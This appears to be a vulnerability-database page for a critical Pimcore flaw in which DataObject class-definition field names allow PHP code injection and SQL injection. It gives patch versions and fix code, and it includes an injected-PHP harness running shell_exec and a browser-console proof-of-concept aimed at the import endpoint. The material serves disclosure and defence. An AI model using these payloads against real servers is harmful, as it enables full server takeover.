CVE-2026-55634: Pimcore/pimcore Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-9x44-4gxf-8c25
CVSS 9.9
CWE-89 CWE-94
Published
Advisory Summary

CVE-2026-55634 is a CRITICAL (CVSS 9.9) remote code execution vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Pimcore/pimcore libraries in the Packagist ecosystem. The issue involves pimcore vulnerable to remote code execution via dataobject class-definition field name. Remediation is available by upgrading affected packages to version 12.3.10, 2026.1.6.

CVE-2026-55634 at a Glance

CVE Identifier CVE-2026-55634
GHSA Identifier GHSA-9x44-4gxf-8c25
Severity CRITICAL
CVSS v3.1 Base Score 9.9
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product Pimcore/pimcore
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 9.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-55634

To remediate this vulnerability, upgrade all affected Pimcore/pimcore dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pimcore/pimcore fixed: 12.3.10
Upgrade pimcore/pimcore to 12.3.10
pimcore/pimcore fixed: 2026.1.6
Upgrade pimcore/pimcore to 2026.1.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for pimcore/pimcore

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-55634, inspect your project dependencies for Pimcore/pimcore:

inspect dependencies for pimcore/pimcore

Analyze the terminal output to locate any version of Pimcore/pimcore in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 12.3.10), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Pimcore/pimcore, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Overview A DataObject **class-definition field name** is concatenated, without an identifier allowlist, into the PHP class source that Pimcore generates for every DataObject class (`protected $<fieldName>;`). A user holding only the ordinary `objects` (DataObjects) permission can import a class definition whose field name closes the property and injects arbitrary PHP into the generated class file, achieving remote code execution on the server. The same unvalidated field name is also concatenated into ALTER TABLE DDL (`ADD COLUMN`/`ADD INDEX`), giving a parallel SQL-injection primitive. This is a sibling of CVE-2026-5394 (composite-index column SQL injection); that fix hardened only the `compositeIndices` sink and left the field-name path untouched. ## Impact Any authenticated user with the `objects` permission — the standard permission for content editors who work with DataObjects, not an administrator or a dedicated "classes" permission — can: 1. **Execute arbitrary PHP on the server (RCE).** The injected code runs in the web application's PHP process when an object of the affected class is loaded (and is re-executed on every load), with full access to the application, its database credentials, secrets, and the host filesystem/OS — i.e. full server compromise. 2. **Execute arbitrary ALTER TABLE DDL (SQL injection)** against the DataObject store/query tables (drop columns, add indexes, corrupt schema). **Confidence (read with the Reproduction section).** The RCE sink — the real builder emitting attacker PHP into the generated class body, that class loading, and its `__construct()` executing a shell command — is **runtime-confirmed in an isolated harness** (see Reproduction → "Lab confirmation"). The remaining links of the end-to-end chain are **reasoned from source but not yet run end-to-end on a live Pimcore**: (a) the Studio import path (`generateLayoutTreeFromArray` → `save`) preserving the field name without transform/reject; (b) the persistent-field DDL step not aborting the save (addressed by the ≤64-byte gadget); and (c) Pimcore instantiating the object (`new`, e.g. via `DataObject::getById()`) so `__construct()` fires — autoloading alone executes only top-level class-body code, not the constructor. Treat the RCE as **sink-confirmed + chain-reasoned**, not as a fully-executed live exploit. Because the injected PHP executes with the privileges of the PHP runtime (typically the web-server user) and reaches the operating system — beyond the authority of the Pimcore application account the attacker started from — the scope is assessed Changed (`S:C`), consistent with Pimcore's own scoring of the analogous Custom-Reports SQL injection (GHSA-3234-gxc3-pq6f, `AV:N/AC:L/PR:L/UI:R/S:C`, 8.7); the result here is RCE rather than read-only SQLi, yielding **9.9 Critical**. `S:C` is the one debatable metric: a reviewer who scores the impact within the single PHP/OS authority as `S:U` lands at `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` = **8.8 High**. The severity floor is therefore High regardless of the scope interpretation. ## Technical Details ### Source → sink (RCE) Pimcore generates a PHP class file for every DataObject class. The property block is built in `lib/DataObject/ClassBuilder/FieldDefinitionPropertiesBuilder.php`: ```php // lib/DataObject/ClassBuilder/FieldDefinitionPropertiesBuilder.php:27-32 foreach ($classDefinition->getFieldDefinitions() as $key => $def) { if (!$def instanceof ClassDefinition\Data\ReverseObjectRelation && !$def instanceof ClassDefinition\Data\CalculatedValue) { $cd .= 'protected $'.$key.";\n"; // $key = field NAME, concatenated raw into PHP source } } ``` `$key` is the field name. The string is assembled into a class body in `lib/DataObject/ClassBuilder/ClassBuilder.php:104-112` (`class <Name> extends <...> {\n` + properties), written to `var/classes/DataObject/<Class>.php`, and autoloaded/included. A field name such as: ``` poc; public function __construct(){ /* attacker PHP */ } private $z ``` produces a valid class body containing an attacker-defined `__construct()` that executes when an object of the class is loaded. That the maintainers know name→PHP-generation requires an identifier allowlist is shown by the sibling **enum-option** generator, which does enforce one: ```php // lib/DataObject/ClassBuilder/SelectOptionsEnumBuilder.php:188 if (!preg_match('/^[A-Z-a-z_][A-Za-z0-9_]*$/', $selectOptionName)) { /* reject */ } ``` The field-name path has no equivalent. ### Parallel SQL-injection sink The same field name is concatenated, with backtick **string** quoting (not `quoteIdentifier`), into DDL: ```php // models/DataObject/ClassDefinition/Helper/Dao.php:102 (addModifyColumn — ADD COLUMN) $this->db->executeQuery('ALTER TABLE ' . $table . ' ADD COLUMN ' . $colName . ' ' . $type . ...); // :52/:67 (addIndexToField — ADD INDEX <prefix><name> (<name>)) $this->db->executeQuery('ALTER TABLE ' . $table . ' ADD ' . $uniqueStr . 'INDEX ' . $prefix . $indexName . ' (' . $columnName . ');'); ``` Source: `models/DataObject/ClassDefinition/Dao.php:228` → `$this->addModifyColumn($objectDatastoreTable, $key, $value->getColumnType(), '', 'NULL')`, `$key` = field name. A backtick in the field name breaks out of the quoted identifier. Contrast the patched composite-index sink, now guarded by an allowlist **and** `quoteIdentifier` (`models/DataObject/Traits/CompositeIndexTrait.php`). ### Why validation does not stop it The complete field-name validation across the import → save path: 1. `models/DataObject/ClassDefinition/Service.php:296` (`generateLayoutTreeFromArray`): `preg_match('/<.+?>/', $name)` — rejects only angle-bracket names. Backtick, `;`, `{}`, `()`, quotes, spaces all pass. 2. 2. `models/DataObject/ClassDefinition/Data.php:1292` (`isForbiddenName()`) — a reserved-word **denylist** (`in_array(strtolower($name), FORBIDDEN_NAMES)`), no character filtering. 3. 3. `models/DataObject/ClassDefinition.php:1149` — validates the **class** name/id only. No allowlist is applied to field names. The Studio UI enforces an identifier pattern client-side; the API does not. ### Reachability / privilege The HTTP entry point (`pimcore/studio-backend-bundle`): ```php // src/Class/Controller/DefinitionConfiguration/ImportController.php private const string ROUTE = '/class/definition/configuration-view/detail/{id}/import'; #[Route(self::ROUTE, name: 'pimcore_studio_api_class_definition_import', methods: ['POST'])] #[IsGranted(UserPermissions::DATA_OBJECTS->value)] // UserPermissions::DATA_OBJECTS = 'objects' public function importClassDefinition(string $id, #[MapUploadedFile] UploadedFile $file): JsonResponse { return $this->jsonResponse( $this->classDefinitionService->importClassDefinitionFromJson($id, $file->getContent()) ); } ``` `importClassDefinitionFromJson` → `ClassDefinitionRepository::importFromJson` → model `save()` → `saveClassInternal()`, which runs the DDL (`getDao()->save()`) and then the PHP class generation (`generateClassFilesInternal()`). The endpoint requires only the `objects` permission (`PR:L`) and performs no field-name validation of its own. The single authorization gate is the route-level `#[IsGranted('objects')]`; a DataObject **class definition** is global schema (not a workspace-scoped element), so no element-/workspace-level secondary authorization applies to the import — `objects` alone reaches the sink, which is what anchors `PR:L`. This is the same import endpoint used in the CVE-2026-5394 PoC. ### Execution order In `saveClassInternal()`: field denylist check → class-name regex → `getDao()->save()` (DDL sink fires) → `generateClassFilesInternal()` (PHP-gen sink fires). The SQLi triggers first; the RCE payload either uses a non-persistent field type (no `ADD COLUMN`) or a ≤64-byte DDL-valid name so the DDL step does not abort before PHP generation. ## Reproduction ### Lab confirmation of the RCE sink (runtime, verified) Using the **unmodified** `FieldDefinitionPropertiesBuilder` source driven by a minimal `ClassDefinition` whose single field name is a PHP payload (full harness in the attached `rce_harness.php`): ```php $maliciousName = 'pwn; public function __construct(){ echo "INJECTED-RCE-RAN: ".trim(shell_exec("id")); } private $z'; $cd = new ClassDefinition([$maliciousName => new \stdClass()], 'PwnDemo', '99'); $props = (new FieldDefinitionPropertiesBuilder())->buildProperties($cd); file_put_contents('/tmp/PwnDemo.php', "<?php\nclass PwnDemo {\n".$props."}\n"); require '/tmp/PwnDemo.php'; new \PwnDemo(); ``` Observed (`php:8.3-cli`): ```text === generated properties block (real builder output) === protected $classId = "99"; protected $className = "PwnDemo"; protected $pwn; public function __construct(){ echo "INJECTED-RCE-RAN: ".trim(shell_exec("id")); } private $z; INJECTED-RCE-RAN: uid=0(root) gid=0(root) groups=0(root) ``` The real builder emitted a class body containing the attacker's `__construct()`, and loading the class executed the injected command. ### End-to-end PoC (browser console, against the Studio API) ```js // Run in the browser DevTools console of an authenticated Pimcore Studio session // held by a user with the ordinary "objects" (DataObjects) permission. // NON-DESTRUCTIVE marker payload: writes a sentinel file. const CLASS_ID = "REPLACE_WITH_A_THROWAWAY_TEST_CLASS_ID"; const fieldName = 'x;function __construct(){touch("/tmp/pimcore_rce_poc");}//'; const def = { layoutDefinitions: { name: "pimcore_root", fieldtype: "panel", datatype: "layout", children: [ { name: fieldName, fieldtype: "input", datatype: "data", title: "poc" } ] } }; const fd = new FormData(); fd.append("file", new Blob([JSON.stringify(def)], { type: "application/json" }), "import.json"); fetch(`/pimcore-studio/api/class/definition/configuration-view/detail/${CLASS_ID}/import`, { method: "POST", credentials: "include", body: fd, }).then(r => r.json()).then(console.log); ``` Steps: 1. As a user with only the `objects` permission, create/own a throwaway DataObject class and note its id (`CLASS_ID`). 2. 2. Open DevTools → Console and run the snippet above. Expected: a success JSON for the import (the class is regenerated). 3. 3. Load any object of that class (open it in Studio, or request it) to autoload the regenerated `var/classes/DataObject/<Class>.php`. 4. 4. Confirm `/tmp/pimcore_rce_poc` was created on the server — proving the field name executed as PHP. ## Q0a / Q0b - **Q0a** (vendor accepted-risk): not by-design. The sibling enum-option generator enforces an identifier allowlist (`SelectOptionsEnumBuilder.php:188` `/^[A-Z-a-z_][A-Za-z0-9_]*$/`) and the composite-index fix added one — the field-name path simply lacks the equivalent. Source-verified: the only import-path field-name check is `Service.php:297` `preg_match('/<.+?>/', $name)` (angle-brackets only; `;{}()`, spaces, backtick all pass), and `FieldDefinitionPropertiesBuilder.php:30` concatenates the raw `$key` into `protected $<name>;`. No upstream allowlist gate exists. PASS. - **Q0b** (venue-routed dedup; venue = github-security-advisory): sibling/incomplete-coverage of CVE-2026-5394 / GHSA-r2f4-ff2p-xc64 (DataObject **composite-index** SQL injection), whose fix hardened only `CompositeIndexTrait`. The **field-name** → PHP-codegen RCE (`FieldDefinitionPropertiesBuilder`) and the field-name → ALTER TABLE DDL (`Helper/Dao.php`) are distinct, unfixed sinks. Not covered by GHSA-3234 (Custom Reports SQLi, different feature). Not a duplicate. CLEAR. - **Secondary sink noted:** `Service.php:517` also concatenates the raw field name into a generated PHP string literal (`public const FIELD_... = '<name>';`) — a second codegen-injection point (string-literal breakout via `'`), same root cause; the allowlist fix closes both. ## Suggested Fix Apply an identifier allowlist to field names at the model boundary, identical in spirit to the enum-option guard and the composite-index fix. In `models/DataObject/ClassDefinition/Data.php` (e.g. in `setName()` or a central validity check invoked from `saveClassInternal()`), reject any name not matching `/^[a-zA-Z][a-zA-Z0-9_]{0,62}$/`: ```php // 63-char cap keeps the name within MySQL's 64-byte identifier limit (1 leading letter + ≤62). if (!preg_match('/^[a-zA-Z][a-zA-Z0-9_]{0,62}$/', $name)) { throw new \InvalidArgumentException(sprintf('Invalid field name: %s', $name)); } ``` Additionally, defense-in-depth: use `quoteIdentifier()` for `$colName`/`$indexName` in `models/DataObject/ClassDefinition/Helper/Dao.php`, and never interpolate identifiers into generated PHP without allowlisting. Enforce the same check in the Studio import controller/service so client-side-only validation cannot be bypassed via the API. **Privilege-model fix (root cause, separate from the input filter).** A class-definition import changes the database schema and generates server-side PHP, yet it is gated only by the content-editor `objects` permission. Gate class-definition import/save behind a dedicated administrative permission (or `admin`), distinct from `objects`. **Operator-side detection / mitigation (deployable today, before a patch):** - **Detection:** File Integrity Monitoring on `var/classes/DataObject/*.php` — alert on unexpected changes, and specifically on the appearance of `function`/`__construct(` tokens in a generated class body. Raise the class-definition-import audit event to a high-priority alert. Flag any non-admin POST to `.../class/definition/configuration-view/detail/*/import`. - - **Interim mitigation:** restrict the import endpoint to administrators via a custom security voter; or disable class-definition import in production; or add a WAF rule limiting POST `.../class/definition/configuration-view/detail/*/import` to trusted operators. ### Additional codegen-injection sinks sharing this root cause The same "unvalidated identifier → generated PHP" pattern exists at **other identifier boundaries**: - **Class NAME → `ClassBuilder.php:104`**: `'class '.ucfirst($classDefinition->getName()).' extends '...`. The only gate is `ClassDefinition.php:1149` `preg_match('/^[a-zA-Z]\w+/', getName())` — **missing the `$` end-anchor**, so `Foo){};<php>` passes the prefix match. - - **FieldCollection / ObjectBrick KEY → `FieldCollectionClassBuilder.php:58`** (`'class '.ucfirst($definition->getKey()).' extends '`) and the objectbrick equivalent — reached via their own import endpoints. **Exploitability caveat:** unlike the runtime-confirmed field-name vector, the class-name vector is **NOT independently confirmed as RCE** and has a structural blocker. The class name determines the generated file's path, and PHPClassDumper writes the file but does not include it — the generated class is executed only when the autoloader maps a clean class reference. The field-name vector is reliable precisely because it keeps the filename clean. The class-name/key sinks are therefore reported here as **fix-completeness / defense-in-depth** (anchor the regex), not as a second confirmed RCE. ## Disclosure Timeline - 2026-05-29: Discovered (sibling sweep of CVE-2026-5394); RCE sink runtime-confirmed in a lab harness using the unmodified builder source. - - (Reported to vendor: to be filled on submission via GitHub Security Advisory.)

CVE-2026-55634 Affected Pimcore/pimcore Versions

2 component(s)
Fixed Versions:
12.3.102026.1.6
Product / Package Ecosystem Affected Versions Fixed Version
pimcore/pimcore
Packagist
< 12.3.10
12.3.10
pimcore/pimcore
Packagist
≥ 2026.1.0
< 2026.1.6
2026.1.6

References

Frequently Asked Questions

What is CVE-2026-55634?
CVE-2026-55634 is a security vulnerability in Pimcore/pimcore involving Pimcore Vulnerable to Remote Code Execution via DataObject Class-Definition Field Name under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which Pimcore/pimcore versions are affected?
Affected versions include releases prior to 12.3.10, 2026.1.6 across affected packages: pimcore/pimcore.
What version fixes CVE-2026-55634?
Upgrading to 12.3.10, 2026.1.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pimcore/pimcore affected?
Yes, pimcore/pimcore is affected in releases prior to 12.3.10, 2026.1.6. Upgrade your dependency to 12.3.10, 2026.1.6 or later.
What is the CVSS score of CVE-2026-55634?
CVE-2026-55634 has a CVSS v3.1 base score of 9.9 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-55634?
CVE-2026-55634 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check Packagist dependencies for CVE-2026-55634?
Run the dependency tree command: 'inspect dependencies for pimcore/pimcore'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9x44-4gxf-8c25",
  "modified" : "2026-08-28T19:17:42Z",
  "published" : "2026-08-28T19:17:42Z",
  "aliases" : [ "CVE-2026-55634" ],
  "summary" : "Pimcore Vulnerable to Remote Code Execution via DataObject Class-Definition Field Name",
  "details" : "## Overview\n\nA DataObject **class-definition field name** is concatenated, without an identifier allowlist, into the PHP class source that Pimcore generates for every DataObject class (`protected $<fieldName>;`). A user holding only the ordinary `objects` (DataObjects) permission can import a class definition whose field name closes the property and injects arbitrary PHP into the generated class file, achieving remote code execution on the server. The same unvalidated field name is also concatenated into ALTER TABLE DDL (`ADD COLUMN`/`ADD INDEX`), giving a parallel SQL-injection primitive. This is a sibling of CVE-2026-5394 (composite-index column SQL injection); that fix hardened only the `compositeIndices` sink and left the field-name path untouched.\n\n## Impact\n\nAny authenticated user with the `objects` permission — the standard permission for content editors who work with DataObjects, not an administrator or a dedicated \"classes\" permission — can:\n\n1. **Execute arbitrary PHP on the server (RCE).** The injected code runs in the web application's PHP process when an object of the affected class is loaded (and is re-executed on every load), with full access to the application, its database credentials, secrets, and the host filesystem/OS — i.e. full server compromise.\n2. **Execute arbitrary ALTER TABLE DDL (SQL injection)** against the DataObject store/query tables (drop columns, add indexes, corrupt schema).\n**Confidence (read with the Reproduction section).** The RCE sink — the real builder emitting attacker PHP into the generated class body, that class loading, and its `__construct()` executing a shell command — is **runtime-confirmed in an isolated harness** (see Reproduction → \"Lab confirmation\"). The remaining links of the end-to-end chain are **reasoned from source but not yet run end-to-end on a live Pimcore**: (a) the Studio import path (`generateLayoutTreeFromArray` → `save`) preserving the field name without transform/reject; (b) the persistent-field DDL step not aborting the save (addressed by the ≤64-byte gadget); and (c) Pimcore instantiating the object (`new`, e.g. via `DataObject::getById()`) so `__construct()` fires — autoloading alone executes only top-level class-body code, not the constructor. Treat the RCE as **sink-confirmed + chain-reasoned**, not as a fully-executed live exploit.\n\nBecause the injected PHP executes with the privileges of the PHP runtime (typically the web-server user) and reaches the operating system — beyond the authority of the Pimcore application account the attacker started from — the scope is assessed Changed (`S:C`), consistent with Pimcore's own scoring of the analogous Custom-Reports SQL injection (GHSA-3234-gxc3-pq6f, `AV:N/AC:L/PR:L/UI:R/S:C`, 8.7); the result here is RCE rather than read-only SQLi, yielding **9.9 Critical**. `S:C` is the one debatable metric: a reviewer who scores the impact within the single PHP/OS authority as `S:U` lands at `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` = **8.8 High**. The severity floor is therefore High regardless of the scope interpretation.\n\n## Technical Details\n\n### Source → sink (RCE)\n\nPimcore generates a PHP class file for every DataObject class. The property block is built in `lib/DataObject/ClassBuilder/FieldDefinitionPropertiesBuilder.php`:\n\n```php // lib/DataObject/ClassBuilder/FieldDefinitionPropertiesBuilder.php:27-32 foreach ($classDefinition->getFieldDefinitions() as $key => $def) { if (!$def instanceof ClassDefinition\\Data\\ReverseObjectRelation && !$def instanceof ClassDefinition\\Data\\CalculatedValue) { $cd .= 'protected $'.$key.\";\\n\";     // $key = field NAME, concatenated raw into PHP source } } ```\n\n`$key` is the field name. The string is assembled into a class body in `lib/DataObject/ClassBuilder/ClassBuilder.php:104-112` (`class <Name> extends <...> {\\n` + properties), written to `var/classes/DataObject/<Class>.php`, and autoloaded/included. A field name such as:\n\n``` poc; public function __construct(){ /* attacker PHP */ } private $z ```\n\nproduces a valid class body containing an attacker-defined `__construct()` that executes when an object of the class is loaded.\n\nThat the maintainers know name→PHP-generation requires an identifier allowlist is shown by the sibling **enum-option** generator, which does enforce one:\n\n```php // lib/DataObject/ClassBuilder/SelectOptionsEnumBuilder.php:188 if (!preg_match('/^[A-Z-a-z_][A-Za-z0-9_]*$/', $selectOptionName)) { /* reject */ } ```\n\nThe field-name path has no equivalent.\n\n### Parallel SQL-injection sink\n\nThe same field name is concatenated, with backtick **string** quoting (not `quoteIdentifier`), into DDL:\n\n```php // models/DataObject/ClassDefinition/Helper/Dao.php:102 (addModifyColumn — ADD COLUMN) $this->db->executeQuery('ALTER TABLE ' . $table . ' ADD COLUMN ' . $colName . ' ' . $type . ...); // :52/:67 (addIndexToField — ADD INDEX <prefix><name> (<name>)) $this->db->executeQuery('ALTER TABLE ' . $table . ' ADD ' . $uniqueStr . 'INDEX ' . $prefix . $indexName . ' (' . $columnName . ');'); ```\n\nSource: `models/DataObject/ClassDefinition/Dao.php:228` → `$this->addModifyColumn($objectDatastoreTable, $key, $value->getColumnType(), '', 'NULL')`, `$key` = field name. A backtick in the field name breaks out of the quoted identifier.\n\nContrast the patched composite-index sink, now guarded by an allowlist **and** `quoteIdentifier` (`models/DataObject/Traits/CompositeIndexTrait.php`).\n\n### Why validation does not stop it\n\nThe complete field-name validation across the import → save path:\n\n1. `models/DataObject/ClassDefinition/Service.php:296` (`generateLayoutTreeFromArray`): `preg_match('/<.+?>/', $name)` — rejects only angle-bracket names. Backtick, `;`, `{}`, `()`, quotes, spaces all pass.\n2. 2. `models/DataObject/ClassDefinition/Data.php:1292` (`isForbiddenName()`) — a reserved-word **denylist** (`in_array(strtolower($name), FORBIDDEN_NAMES)`), no character filtering.\n3. 3. `models/DataObject/ClassDefinition.php:1149` — validates the **class** name/id only.\nNo allowlist is applied to field names. The Studio UI enforces an identifier pattern client-side; the API does not.\n\n### Reachability / privilege\n\nThe HTTP entry point (`pimcore/studio-backend-bundle`):\n\n```php // src/Class/Controller/DefinitionConfiguration/ImportController.php private const string ROUTE = '/class/definition/configuration-view/detail/{id}/import';\n\n#[Route(self::ROUTE, name: 'pimcore_studio_api_class_definition_import', methods: ['POST'])] #[IsGranted(UserPermissions::DATA_OBJECTS->value)]      // UserPermissions::DATA_OBJECTS = 'objects' public function importClassDefinition(string $id, #[MapUploadedFile] UploadedFile $file): JsonResponse { return $this->jsonResponse( $this->classDefinitionService->importClassDefinitionFromJson($id, $file->getContent()) ); } ```\n\n`importClassDefinitionFromJson` → `ClassDefinitionRepository::importFromJson` → model `save()` → `saveClassInternal()`, which runs the DDL (`getDao()->save()`) and then the PHP class generation (`generateClassFilesInternal()`). The endpoint requires only the `objects` permission (`PR:L`) and performs no field-name validation of its own. The single authorization gate is the route-level `#[IsGranted('objects')]`; a DataObject **class definition** is global schema (not a workspace-scoped element), so no element-/workspace-level secondary authorization applies to the import — `objects` alone reaches the sink, which is what anchors `PR:L`. This is the same import endpoint used in the CVE-2026-5394 PoC.\n\n### Execution order\n\nIn `saveClassInternal()`: field denylist check → class-name regex → `getDao()->save()` (DDL sink fires) → `generateClassFilesInternal()` (PHP-gen sink fires). The SQLi triggers first; the RCE payload either uses a non-persistent field type (no `ADD COLUMN`) or a ≤64-byte DDL-valid name so the DDL step does not abort before PHP generation.\n\n## Reproduction\n\n### Lab confirmation of the RCE sink (runtime, verified)\n\nUsing the **unmodified** `FieldDefinitionPropertiesBuilder` source driven by a minimal `ClassDefinition` whose single field name is a PHP payload (full harness in the attached `rce_harness.php`):\n\n```php $maliciousName = 'pwn; public function __construct(){ echo \"INJECTED-RCE-RAN: \".trim(shell_exec(\"id\")); } private $z'; $cd = new ClassDefinition([$maliciousName => new \\stdClass()], 'PwnDemo', '99'); $props = (new FieldDefinitionPropertiesBuilder())->buildProperties($cd); file_put_contents('/tmp/PwnDemo.php', \"<?php\\nclass PwnDemo {\\n\".$props.\"}\\n\"); require '/tmp/PwnDemo.php'; new \\PwnDemo(); ```\n\nObserved (`php:8.3-cli`):\n\n```text === generated properties block (real builder output) === protected $classId = \"99\"; protected $className = \"PwnDemo\"; protected $pwn; public function __construct(){ echo \"INJECTED-RCE-RAN: \".trim(shell_exec(\"id\")); } private $z; INJECTED-RCE-RAN: uid=0(root) gid=0(root) groups=0(root) ```\n\nThe real builder emitted a class body containing the attacker's `__construct()`, and loading the class executed the injected command.\n\n### End-to-end PoC (browser console, against the Studio API)\n\n```js // Run in the browser DevTools console of an authenticated Pimcore Studio session // held by a user with the ordinary \"objects\" (DataObjects) permission. // NON-DESTRUCTIVE marker payload: writes a sentinel file.\n\nconst CLASS_ID = \"REPLACE_WITH_A_THROWAWAY_TEST_CLASS_ID\";\n\nconst fieldName = 'x;function __construct(){touch(\"/tmp/pimcore_rce_poc\");}//';\n\nconst def = { layoutDefinitions: { name: \"pimcore_root\", fieldtype: \"panel\", datatype: \"layout\", children: [ { name: fieldName, fieldtype: \"input\", datatype: \"data\", title: \"poc\" } ] } };\n\nconst fd = new FormData(); fd.append(\"file\", new Blob([JSON.stringify(def)], { type: \"application/json\" }), \"import.json\");\n\nfetch(`/pimcore-studio/api/class/definition/configuration-view/detail/${CLASS_ID}/import`, { method: \"POST\", credentials: \"include\", body: fd, }).then(r => r.json()).then(console.log); ```\n\nSteps:\n\n1. As a user with only the `objects` permission, create/own a throwaway DataObject class and note its id (`CLASS_ID`).\n2. 2. Open DevTools → Console and run the snippet above. Expected: a success JSON for the import (the class is regenerated).\n3. 3. Load any object of that class (open it in Studio, or request it) to autoload the regenerated `var/classes/DataObject/<Class>.php`.\n4. 4. Confirm `/tmp/pimcore_rce_poc` was created on the server — proving the field name executed as PHP.\n## Q0a / Q0b\n\n- **Q0a** (vendor accepted-risk): not by-design. The sibling enum-option generator enforces an identifier allowlist (`SelectOptionsEnumBuilder.php:188` `/^[A-Z-a-z_][A-Za-z0-9_]*$/`) and the composite-index fix added one — the field-name path simply lacks the equivalent. Source-verified: the only import-path field-name check is `Service.php:297` `preg_match('/<.+?>/', $name)` (angle-brackets only; `;{}()`, spaces, backtick all pass), and `FieldDefinitionPropertiesBuilder.php:30` concatenates the raw `$key` into `protected $<name>;`. No upstream allowlist gate exists. PASS.\n- **Q0b** (venue-routed dedup; venue = github-security-advisory): sibling/incomplete-coverage of CVE-2026-5394 / GHSA-r2f4-ff2p-xc64 (DataObject **composite-index** SQL injection), whose fix hardened only `CompositeIndexTrait`. The **field-name** → PHP-codegen RCE (`FieldDefinitionPropertiesBuilder`) and the field-name → ALTER TABLE DDL (`Helper/Dao.php`) are distinct, unfixed sinks. Not covered by GHSA-3234 (Custom Reports SQLi, different feature). Not a duplicate. CLEAR.\n- **Secondary sink noted:** `Service.php:517` also concatenates the raw field name into a generated PHP string literal (`public const FIELD_... = '<name>';`) — a second codegen-injection point (string-literal breakout via `'`), same root cause; the allowlist fix closes both.\n## Suggested Fix\n\nApply an identifier allowlist to field names at the model boundary, identical in spirit to the enum-option guard and the composite-index fix. In `models/DataObject/ClassDefinition/Data.php` (e.g. in `setName()` or a central validity check invoked from `saveClassInternal()`), reject any name not matching `/^[a-zA-Z][a-zA-Z0-9_]{0,62}$/`:\n\n```php // 63-char cap keeps the name within MySQL's 64-byte identifier limit (1 leading letter + ≤62). if (!preg_match('/^[a-zA-Z][a-zA-Z0-9_]{0,62}$/', $name)) { throw new \\InvalidArgumentException(sprintf('Invalid field name: %s', $name)); } ```\n\nAdditionally, defense-in-depth: use `quoteIdentifier()` for `$colName`/`$indexName` in `models/DataObject/ClassDefinition/Helper/Dao.php`, and never interpolate identifiers into generated PHP without allowlisting. Enforce the same check in the Studio import controller/service so client-side-only validation cannot be bypassed via the API.\n\n**Privilege-model fix (root cause, separate from the input filter).** A class-definition import changes the database schema and generates server-side PHP, yet it is gated only by the content-editor `objects` permission. Gate class-definition import/save behind a dedicated administrative permission (or `admin`), distinct from `objects`.\n\n**Operator-side detection / mitigation (deployable today, before a patch):**\n\n- **Detection:** File Integrity Monitoring on `var/classes/DataObject/*.php` — alert on unexpected changes, and specifically on the appearance of `function`/`__construct(` tokens in a generated class body. Raise the class-definition-import audit event to a high-priority alert. Flag any non-admin POST to `.../class/definition/configuration-view/detail/*/import`.\n- - **Interim mitigation:** restrict the import endpoint to administrators via a custom security voter; or disable class-definition import in production; or add a WAF rule limiting POST `.../class/definition/configuration-view/detail/*/import` to trusted operators.\n### Additional codegen-injection sinks sharing this root cause\n\nThe same \"unvalidated identifier → generated PHP\" pattern exists at **other identifier boundaries**:\n\n- **Class NAME → `ClassBuilder.php:104`**: `'class '.ucfirst($classDefinition->getName()).' extends '...`. The only gate is `ClassDefinition.php:1149` `preg_match('/^[a-zA-Z]\\w+/', getName())` — **missing the `$` end-anchor**, so `Foo){};<php>` passes the prefix match.\n- - **FieldCollection / ObjectBrick KEY → `FieldCollectionClassBuilder.php:58`** (`'class '.ucfirst($definition->getKey()).' extends '`) and the objectbrick equivalent — reached via their own import endpoints.\n**Exploitability caveat:** unlike the runtime-confirmed field-name vector, the class-name vector is **NOT independently confirmed as RCE** and has a structural blocker. The class name determines the generated file's path, and PHPClassDumper writes the file but does not include it — the generated class is executed only when the autoloader maps a clean class reference. The field-name vector is reliable precisely because it keeps the filename clean. The class-name/key sinks are therefore reported here as **fix-completeness / defense-in-depth** (anchor the regex), not as a second confirmed RCE.\n\n## Disclosure Timeline\n\n- 2026-05-29: Discovered (sibling sweep of CVE-2026-5394); RCE sink runtime-confirmed in a lab harness using the unmodified builder source.\n- - (Reported to vendor: to be filled on submission via GitHub Security Advisory.)",
  "severity" : [ {
    "type" : "CVSS_V3",
